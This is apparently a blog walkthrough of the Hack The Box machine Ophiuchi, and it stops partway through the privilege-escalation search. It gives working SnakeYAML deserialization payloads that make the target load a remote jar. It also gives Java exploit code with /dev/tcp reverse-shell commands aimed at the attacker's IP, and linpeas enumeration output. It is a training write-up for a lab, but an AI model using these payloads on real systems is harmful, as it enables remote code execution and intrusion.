HTB Ophiuchi Walkthrough

A walkthrough on the Ophiuchi hack the box.

HTB Ophiuchi Walkthrough

Welcome back, with this nice and entertaining BOX, where all the steps done to reach the flags are really interesting! Let's go start!

The nmap scan highlight as usual a web portal on port 8080 this time.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-03 21:36 CET
Nmap scan report for 10.10.10.227
Host is up (0.045s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.55 seconds

Looking at the portal I can find only a simple form that allows me to parse a YAML file.

Trying the parser seems that the feature is disabled (will be the truth?).

Well, go ahead and try to find some other possible attack side. I use dirb to search for hidden folders.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.227 - Ophiuchi (lin)]
└─$ dirb http://10.10.10.227:8080/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Mar  3 21:45:40 2021
URL_BASE: http://10.10.10.227:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.227:8080/ ----
+ http://10.10.10.227:8080/host-manager (CODE:302|SIZE:0)                                                         
+ http://10.10.10.227:8080/manager (CODE:302|SIZE:0)                                                              
+ http://10.10.10.227:8080/Servlet (CODE:200|SIZE:0)                                                              
+ http://10.10.10.227:8080/test (CODE:302|SIZE:0)                                                                 
                                                                                                                  
-----------------
END_TIME: Wed Mar  3 21:49:17 2021
DOWNLOADED: 4612 - FOUND: 4

Something goes out, but nothing really interesting; all the URL are protected by a password.

http://10.10.10.227:8080/host-manager

http://10.10.10.227:8080/manager

http://10.10.10.227:8080/test

The code returned by dirb for the test URL (302) is different from the code 404 return by the browser, probably, there's a permanent redirect code that the browser is following. And in fact:

Nothing again. The next step I try is to investigate about specific exploit for the Apache Tomcat 9.0.38 that the nmap scan provides me as a web server running on the target machine. I found two possible vulnerability, I'll take in mind that like future ways if I can't find anything better.

Usually, in this kind of activities, all direction could be a good approach and they have to be tested all, but for a CTF "game" this seems to be the wrong way; who create the BOX leave to you specific clues because he wants that you follow a specific way. The portal is there for that, but we have not yet used it. In a real penetration test scenario, you'll have to try and test all possible vulnerabilities, to provide a complete and detailed report about your investigation. Enjoy your CTF "game", now.

Anyway, I list for complete information about my investigation.

CVE -CVE-2020-13943
Common Vulnerabilities and Exposures (CVE®) is a list of records — each containing an identification number, a description, and at least one public reference — for publicly known cybersecurity vulnerabilities. Assigned by CVE Numbering Authorities (CNAs) from around the world, use of CVE Records ens…
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2). CVE-2017-12617 . webapps exploit for JSP platform

Come back on the portal so and try to go deeper to the YAML parser available on the page. Using a curl command I notice something interesting.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.227 - Ophiuchi (lin)]
└─$ curl -d '' http://10.10.10.227:8080/Servlet -v
*   Trying 10.10.10.227:8080...
* Connected to 10.10.10.227 (10.10.10.227) port 8080 (#0)
> POST /Servlet HTTP/1.1
> Host: 10.10.10.227:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 0
> Content-Type: application/x-www-form-urlencoded
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 
< Content-Type: text/html;charset=utf-8
< Content-Language: en
< Content-Length: 1251
< Date: Wed, 03 Mar 2021 21:40:54 GMT
< Connection: close
< 
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.NullPointerException
        java.base&#47;java.io.StringReader.&lt;init&gt;(StringReader.java:50)
        org.yaml.snakeyaml.reader.StreamReader.&lt;init&gt;(StreamReader.java:63)
        org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
        Servlet.doPost(Servlet.java:15)
        javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
        javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
        org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
* Closing connection 0
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.38</h3></body></html>

I'm not completely sure that the feature is disabled!

Searching for "yaml java deserialization vulnerability" I found some interesting article about that:

Swagger YAML Parser Vulnerability (CVE-2017-1000207 and CVE-2017-1000208) - GitHub Security Lab
Parsing YAML data from untrusted source can lead to arbitrary code execution. This post discusses a vulnerability of this type in Swagger Parser (caused by unsafe use of SnakeYaml), and shows how such vulnerabilities can be found using QL.

The interesting part seems to be this formatted YAML that activates a sort of execution of java code but have to understand how.

String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
                 + "[[!!java.net.URL [\"http://attacker.com\"]]]]";
Yaml yaml = new Yaml();            // Unsafe instance of Yaml that allows any constructor to be called.
Object obj = yaml.load(malicious); // Make request to http://attacker.com

To start, I try to insert this string in the parser and check the output:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com\"]]]]

Well, I think to be in the right direction, as I supposed, the feature is not really disabled.

To go deeper I search again on the internet and finally I reach a github repository that will be my real treasure to go ahead on this BOX. Searching for "java deserialization yaml exploit reverse shell"...

mbechler/marshalsec
Contribute to mbechler/marshalsec development by creating an account on GitHub.

In the repository there's a link to a detailed document, wrote by two students that investigate a lot of type of serialization vulnerability.

https://raw.githubusercontent.com/mbechler/marshalsec/master/marshalsec.pdf

Well, that one that interesting me is the one saw before. It seems that the URL inside the YAML, will be contacted and used by the serializer and interpreted as a java class. So, the first step is to understand if the target machine calls really the attacking machine using that specific script.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.195:8080/"]
  ]]
]

And listening on my machine, I'll receive a call from the target machine.

┌──(in7rud3r㉿Mykali)-[~]
└─$ php -S 10.10.14.195:8080
[Thu Mar  4 21:48:55 2021] PHP 7.4.15 Development Server (http://10.10.14.195:8080) started
[Thu Mar  4 21:48:59 2021] 10.10.10.227:60262 Accepted
[Thu Mar  4 21:48:59 2021] 10.10.10.227:60262 [404]: (null) /META-INF/services/javax.script.ScriptEngineFactory - No such file or directory
[Thu Mar  4 21:48:59 2021] 10.10.10.227:60262 Closing

Good, the routing should be the default elaborated by the serializer class, but probably I can target a specific custom file.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.195:8080/exploit.jar"]
  ]]
]

Yes, that's right!

[Thu Mar  4 23:03:16 2021] 10.10.10.227:60268 Accepted
[Thu Mar  4 23:03:16 2021] 10.10.10.227:60268 [404]: (null) /exploit.jar - No such file or directory
[Thu Mar  4 23:03:16 2021] 10.10.10.227:60268 Closing

Ok, I start by creating a standard java class with a reverse shell inside it, something like the following code, but I will soon realize that I still have to study the document and the analysis reported in it.

import java.io.*;
import java.net.Socket;

public class Exploit {
  public static void main(String[] args) throws java.io.IOException
  {
	r = Runtime.getRuntime()
	p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.195/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
	p.waitFor()
  }
}

Anyway, to compile and packet the class in a jar file I proceed as follow.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ javac Exploit.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ jar cf Exploit.jar Exploit.class 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

This approach, as said before, is not the right one; the file is downloaded but not interpreted. So, I come back on the document and read better it and I discover that:

Ok, the first three steps are the original script, but the fourth is the instruction to create the java class. My new java code (after a long series of attempts and corrections of compilation errors) seems like this one:

package in7rud3r;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class ExploitScriptEngineFactory implements ScriptEngineFactory {
    public ExploitScriptEngineFactory()
    {
	try {
		Runtime.getRuntime().exec("curl http://10.10.14.195/");
		// Runtime.getRuntime().exec("bash -i >& /dev/tcp/10.10.14.195/4444 0>&1");
	} catch (IOException e){
		e.printStackTrace();
	}
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Anyway, again, I don't receive any incoming connection from the target, so, I start a long activity of test on my machine.

I hate java and I use it really very few times, so to understand what happens it was a pain activity.

After a lot of hours spent to test and re-test I understand that should be a sort of problem with the manifest of the jar file generated, so, searching on the internet I found an interesting github project that, coincidentally, talk about the exploit I'm trying to implement with the complete source code to customize.

artsploit/yaml-payload
A tiny project for generating SnakeYAML deserialization payloads - artsploit/yaml-payload

So, I add the manifest folder to my project and try to exploit again the target machine.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ jar -cvf ExploitScriptEngineFactory.jar -C src .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: in7rud3r/(in = 0) (out= 0)(stored 0%)
adding: in7rud3r/ExploitScriptEngineFactory.class(in = 1611) (out= 672)(deflated 58%)
adding: in7rud3r/ExploitScriptEngineFactory.java(in = 1560) (out= 451)(deflated 71%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
Well, let me add that... I haven't immediate success on that, but I have to identify the right shell to launch passing also for a step by step phase to understand if I'm in the right direction. Initially, the shell doesn't spawn and I was able only to call an HTTP URL using the curl command, but after a lot of attempts, finally, I identify the right shell.

Finally, when the exploit work...

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ sudo php -S 10.10.14.195:80                                                
[Fri Mar  5 20:16:57 2021] PHP 7.4.15 Development Server (http://10.10.14.195:80) started
[Fri Mar  5 20:17:01 2021] 10.10.10.227:40088 Accepted
[Fri Mar  5 20:17:01 2021] 10.10.10.227:40088 [200]: (null) /ExploitScriptEngineFactory.jar
[Fri Mar  5 20:17:01 2021] 10.10.10.227:40088 Closing
[Fri Mar  5 20:17:01 2021] 10.10.10.227:40090 Accepted
[Fri Mar  5 20:17:01 2021] 10.10.10.227:40090 [200]: (null) /ExploitScriptEngineFactory.jar
[Fri Mar  5 20:17:01 2021] 10.10.10.227:40090 Closing
[Fri Mar  5 20:17:02 2021] 10.10.10.227:40092 Accepted
[Fri Mar  5 20:17:02 2021] 10.10.10.227:40092 [404]: (null) / - No such file or directory
[Fri Mar  5 20:17:02 2021] 10.10.10.227:40092 Closing

Well, the shell used in the code is the following:

String[] cmdline = {"/bin/bash","-c","/bin/bash -i >& /dev/tcp/10.10.14.195/4444 0>&1"};
Runtime.getRuntime().exec(cmdline).waitFor();

Anyway, it's not a tty shell, so I spawn a real tty shell using python.

python3 -c 'import pty; pty.spawn("/bin/sh")'

Well, I can't execute commands as root without a password, so I pass to search for vulnerability using my friend linpeas. Here an extraction that will be the object of my investigation.

Again, as I mentioned in all my walkthrough, to upload the linpeas.sh file 0n the target machine, start a web-server on your machine (php allow that in a really simple way) on the folder where the script is located and download using curl or the wget command from the target machine, provide the execution privileges using the chmod command and you will be able to launch the script.
[...]
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                                                       
Sudo version 1.8.31   
[...]
gdb was found in PATH
[...]
====================================( Interesting Files )=====================================
[+] SUID - Check easy privesc, exploits and write perms                                                                                            
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                                                                      
-rwsr-sr-x 1 daemon daemon           55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)                                           
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /snap/core18/1705/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/1885/usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPA
RC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                                                                           
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/1885/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1885/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1885/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1885/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1885/bin/su
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/1705/usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPA
RC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                                                                           
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/1705/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1705/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1705/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1705/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1705/bin/su
-rwsr-xr-- 1 root   systemd-resolve  42K Jun 10  2019 /snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/1885/bin/ping
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/1705/bin/ping
-rwsr-xr-x 1 root   root             15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root             23K Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root             31K Aug 16  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root   root             27K Jan  8  2020 /snap/core18/1705/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root   root             43K Jan  8  2020 /snap/core18/1705/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-
1699.24.8                                                                                                                                          
-rwsr-xr-x 1 root   root            146K Jan 31  2020 /snap/core18/1885/usr/bin/sudo  --->  /sudo$
-rwsr-xr-x 1 root   root            146K Jan 31  2020 /snap/core18/1705/usr/bin/sudo  --->  /sudo$
-rwsr-xr-x 1 root   root             27K Mar  5  2020 /snap/core18/1885/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root   root             43K Mar  5  2020 /snap/core18/1885/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-
1699.24.8                                                                                                                                          
-rwsr-xr-x 1 root   root             39K Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root   root             39K Apr  2  2020 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root   root             67K Apr  2  2020 /usr/bin/su
-rwsr-xr-x 1 root   root             55K Apr  2  2020 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root   root             67K Apr 16  2020 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solari
s_2.3_to_2.5.1(02-1997)                                                                                                                            
-rwsr-xr-x 1 root   root             44K Apr 16  2020 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             87K Apr 16  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root             52K Apr 16  2020 /usr/bin/chsh
-rwsr-xr-x 1 root   root             84K Apr 16  2020 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root   root            463K May 29  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root   messagebus       51K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-- 1 root   systemd-resolve  42K Jun 11  2020 /snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root            128K Jul 10  2020 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root   root            109K Sep  4 16:33 /snap/snapd/9279/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root   root            109K Sep 30 04:59 /snap/snapd/9607/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root   root            163K Jan 19 14:21 /usr/bin/sudo  --->  /sudo$
[...]
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root tomcat 6898 Sep 10 08:25 /opt/tomcat/RELEASE-NOTES                                                                               
-rw-r----- 1 root tomcat 57092 Sep 10 08:25 /opt/tomcat/LICENSE
-rw-r----- 1 root tomcat 2333 Sep 10 08:25 /opt/tomcat/NOTICE
-rw-r----- 1 root tomcat 38857 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-ru.jar
-rw-r----- 1 root tomcat 224527 Sep 10 08:23 /opt/tomcat/lib/tomcat-util-scan.jar
-rw-r----- 1 root tomcat 187546 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-ja.jar
-rw-r----- 1 root tomcat 78788 Sep 10 08:23 /opt/tomcat/lib/catalina-storeconfig.jar
-rw-r----- 1 root tomcat 124406 Sep 10 08:23 /opt/tomcat/lib/catalina-ha.jar
-rw-r----- 1 root tomcat 149747 Sep 10 08:23 /opt/tomcat/lib/tomcat-jdbc.jar
-rw-r----- 1 root tomcat 50041 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-pt-BR.jar
-rw-r----- 1 root tomcat 908183 Sep 10 08:23 /opt/tomcat/lib/tomcat-coyote.jar
-rw-r----- 1 root tomcat 322469 Sep 10 08:23 /opt/tomcat/lib/tomcat-dbcp.jar
-rw-r----- 1 root tomcat 347015 Sep 10 08:23 /opt/tomcat/lib/catalina-tribes.jar
-rw-r----- 1 root tomcat 13342 Sep 10 08:23 /opt/tomcat/lib/annotations-api.jar
-rw-r----- 1 root tomcat 11649 Sep 10 08:23 /opt/tomcat/lib/tomcat-api.jar
-rw-r----- 1 root tomcat 171815 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-zh-CN.jar
-rw-r----- 1 root tomcat 188011 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-ko.jar
-rw-r----- 1 root tomcat 91104 Sep 10 08:23 /opt/tomcat/lib/el-api.jar
-rw-r----- 1 root tomcat 283767 Sep 10 08:23 /opt/tomcat/lib/servlet-api.jar
-rw-r----- 1 root tomcat 63246 Sep 10 08:23 /opt/tomcat/lib/catalina-ssi.jar
-rw-r----- 1 root tomcat 39727 Sep 10 08:23 /opt/tomcat/lib/websocket-api.jar
-rw-r----- 1 root tomcat 28549 Sep 10 08:23 /opt/tomcat/lib/jaspic-api.jar
-rw-r----- 1 root tomcat 165365 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-fr.jar
-rw-r----- 1 root tomcat 63811 Sep 10 08:23 /opt/tomcat/lib/jsp-api.jar
-rw-r----- 1 root tomcat 1699600 Sep 10 08:23 /opt/tomcat/lib/catalina.jar
-rw-r----- 1 root tomcat 196936 Sep 10 08:23 /opt/tomcat/lib/tomcat-util.jar
-rw-r----- 1 root tomcat 232989 Sep 10 08:23 /opt/tomcat/lib/tomcat-websocket.jar
-rw-r----- 1 root tomcat 54652 Sep 10 08:23 /opt/tomcat/lib/catalina-ant.jar
-rw-r----- 1 root tomcat 36339 Sep 10 08:23 /opt/tomcat/lib/tomcat-jni.jar
-rw-r----- 1 root tomcat 171308 Sep 10 08:23 /opt/tomcat/lib/jasper-el.jar
-rw-r----- 1 root tomcat 75197 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-de.jar
-rw-r----- 1 root tomcat 69258 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-cs.jar
-rw-r----- 1 root tomcat 564673 Sep 10 08:23 /opt/tomcat/lib/jasper.jar
-rw-r----- 1 root tomcat 2989263 Sep 10 08:23 /opt/tomcat/lib/ecj-4.15.jar
-rw-r----- 1 root tomcat 104921 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-es.jar
-rw-r----- 1 root tomcat 5409 Sep 10 08:25 /opt/tomcat/CONTRIBUTING.md
-rw-r----- 1 root tomcat 18982 Sep 10 08:25 /opt/tomcat/BUILDING.txt
-rw-r----- 1 root tomcat 3257 Sep 10 08:25 /opt/tomcat/README.md
-rw-r----- 1 root tomcat 16262 Sep 10 08:25 /opt/tomcat/RUNNING.txt
-rw-r----- 1 root tomcat 49605 Sep 10 08:23 /opt/tomcat/bin/tomcat-juli.jar
-rw-r----- 1 root tomcat 2026 Sep 10 08:23 /opt/tomcat/bin/version.bat
-rw-r----- 1 root tomcat 35912 Sep 10 08:23 /opt/tomcat/bin/bootstrap.jar
-rwxr-x--- 1 root tomcat 3708 Sep 10 08:23 /opt/tomcat/bin/setclasspath.sh
-rw-r----- 1 root tomcat 2020 Sep 10 08:23 /opt/tomcat/bin/shutdown.bat
-rwxr-x--- 1 root tomcat 5540 Sep 10 08:23 /opt/tomcat/bin/tool-wrapper.sh
-rw-r----- 1 root tomcat 2123 Sep 10 08:23 /opt/tomcat/bin/ciphers.bat
-rwxr-x--- 1 root tomcat 1908 Sep 10 08:23 /opt/tomcat/bin/version.sh
-rwxr-x--- 1 root tomcat 1997 Sep 10 08:23 /opt/tomcat/bin/ciphers.sh
-rw-r----- 1 root tomcat 2022 Sep 10 08:23 /opt/tomcat/bin/startup.bat
-rwxr-x--- 1 root tomcat 9100 Sep 10 08:23 /opt/tomcat/bin/daemon.sh
-rwxr-x--- 1 root tomcat 1965 Sep 10 08:23 /opt/tomcat/bin/digest.sh
-rwxr-x--- 1 root tomcat 25292 Sep 10 08:23 /opt/tomcat/bin/catalina.sh
-rw-r----- 1 root tomcat 4574 Sep 10 08:23 /opt/tomcat/bin/tool-wrapper.bat
-rw-r----- 1 root tomcat 2091 Sep 10 08:23 /opt/tomcat/bin/digest.bat
-rw-r----- 1 root tomcat 1664 Sep 10 08:25 /opt/tomcat/bin/catalina-tasks.xml
-rw-r----- 1 root tomcat 3460 Sep 10 08:23 /opt/tomcat/bin/setclasspath.bat
-rw-r----- 1 root tomcat 25197 Sep 10 08:23 /opt/tomcat/bin/commons-daemon.jar
-rwxr-x--- 1 root tomcat 3382 Sep 10 08:23 /opt/tomcat/bin/makebase.sh
-rw-r----- 1 root tomcat 421399 Sep 10 08:23 /opt/tomcat/bin/tomcat-native.tar.gz
-rw-r----- 1 root tomcat 3606 Sep 10 08:23 /opt/tomcat/bin/makebase.bat
-rwxr-x--- 1 root tomcat 1904 Sep 10 08:23 /opt/tomcat/bin/startup.sh
-rwxr-x--- 1 root tomcat 1902 Sep 10 08:23 /opt/tomcat/bin/shutdown.sh
-rw-r----- 1 root tomcat 16655 Sep 10 08:23 /opt/tomcat/bin/catalina.bat
-rw-r----- 1 root tomcat 2040 Sep 10 08:23 /opt/tomcat/bin/configtest.bat
-rw-r----- 1 root tomcat 206895 Sep 10 08:23 /opt/tomcat/bin/commons-daemon-native.tar.gz
-rwxr-x--- 1 root tomcat 1922 Sep 10 08:23 /opt/tomcat/bin/configtest.sh
-rw-r----- 1 root tomcat 7588 Sep 10 08:25 /opt/tomcat/conf/server.xml
-rw-r----- 1 root tomcat 12873 Sep 10 08:25 /opt/tomcat/conf/catalina.policy
-rw-r----- 1 root tomcat 1149 Sep 10 08:25 /opt/tomcat/conf/jaspic-providers.xml
-rw-r----- 1 root tomcat 2313 Sep 10 08:25 /opt/tomcat/conf/jaspic-providers.xsd
-rw-r----- 1 root tomcat 7262 Sep 10 08:25 /opt/tomcat/conf/catalina.properties
-rw-r----- 1 root tomcat 2234 Dec 28 00:37 /opt/tomcat/conf/tomcat-users.xml
-rw-r----- 1 root tomcat 4144 Sep 10 08:25 /opt/tomcat/conf/logging.properties
-rw-r----- 1 root tomcat 172359 Sep 10 08:25 /opt/tomcat/conf/web.xml
-rw-r----- 1 root tomcat 1400 Sep 10 08:25 /opt/tomcat/conf/context.xml
-rw-r----- 1 root tomcat 2558 Sep 10 08:25 /opt/tomcat/conf/tomcat-users.xsd
[...]
Writable: /opt/tomcat/logs/manager.2021-02-05.log
Writable: /opt/tomcat/logs/host-manager.2021-02-04.log                                                                                             
Writable: /opt/tomcat/logs/localhost.2021-03-05.log                                                                                                
[...]
[+] Backup files
-rw-r--r-- 1 root root 2743 Apr 23  2020 /etc/apt/sources.list.curtin.old                                                                          
-rw-r--r-- 1 root root 43888 Mar  9  2020 /usr/lib/open-vm-tools/plugins/vmsvc/libvmbackup.so
-rw-r--r-- 1 root root 8729 Sep 10 10:12 /usr/lib/modules/5.4.0-48-generic/kernel/drivers/power/supply/wm831x_backup.ko
-rw-r--r-- 1 root root 8161 Sep 10 10:12 /usr/lib/modules/5.4.0-48-generic/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 8729 Oct  5 13:34 /usr/lib/modules/5.4.0-51-generic/kernel/drivers/power/supply/wm831x_backup.ko
-rw-r--r-- 1 root root 8161 Oct  5 13:34 /usr/lib/modules/5.4.0-51-generic/kernel/drivers/net/team/team_mode_activebackup.ko
-rwxr-xr-x 1 root root 226 Feb 17  2020 /usr/share/byobu/desktop/byobu.desktop.old
-rw-r--r-- 1 root root 11070 Oct 11 11:35 /usr/share/info/dir.old
-rw-r--r-- 1 root root 392817 Feb  9  2020 /usr/share/doc/manpages/Changes.old.gz
-rw-r--r-- 1 root root 7867 Jul 16  1996 /usr/share/doc/telnet/README.old.gz
-rw-r--r-- 1 root root 2756 Feb 13  2020 /usr/share/man/man8/vgcfgbackup.8.gz
-rwxr-xr-x 1 root root 1086 Nov 25  2019 /usr/src/linux-headers-5.4.0-51/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
-rw-r--r-- 1 root root 237801 Oct  5 13:34 /usr/src/linux-headers-5.4.0-51-generic/.config.old
-rw-r--r-- 1 root root 0 Oct  5 13:34 /usr/src/linux-headers-5.4.0-51-generic/include/config/wm831x/backup.h
-rw-r--r-- 1 root root 0 Oct  5 13:34 /usr/src/linux-headers-5.4.0-51-generic/include/config/net/team/mode/activebackup.h
-rw-r--r-- 1 root root 237780 Sep 10 10:12 /usr/src/linux-headers-5.4.0-48-generic/.config.old
-rw-r--r-- 1 root root 0 Sep 10 10:12 /usr/src/linux-headers-5.4.0-48-generic/include/config/wm831x/backup.h
-rw-r--r-- 1 root root 0 Sep 10 10:12 /usr/src/linux-headers-5.4.0-48-generic/include/config/net/team/mode/activebackup.h
-rwxr-xr-x 1 root root 1086 Nov 25  2019 /usr/src/linux-headers-5.4.0-48/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
[...]
/etc/overlayroot.conf:#      $ MAPNAME="secure"; DEV="/dev/vdg"; PASSWORD="foobar"
/etc/overlayroot.conf:#     crypt:dev=/dev/vdb,pass=somepassword,mkfs=0
[...]

Well, a lot of possibilities. I proceed from the top and I pass a lot of files and exploit, but when I arrive at the tomcat folders and files (/opt/tomcat) I found something.

grep --exclude="*.jar" --exclude="*.class" -ilr 'user\|passw' ./*
./BUILDING.txt 
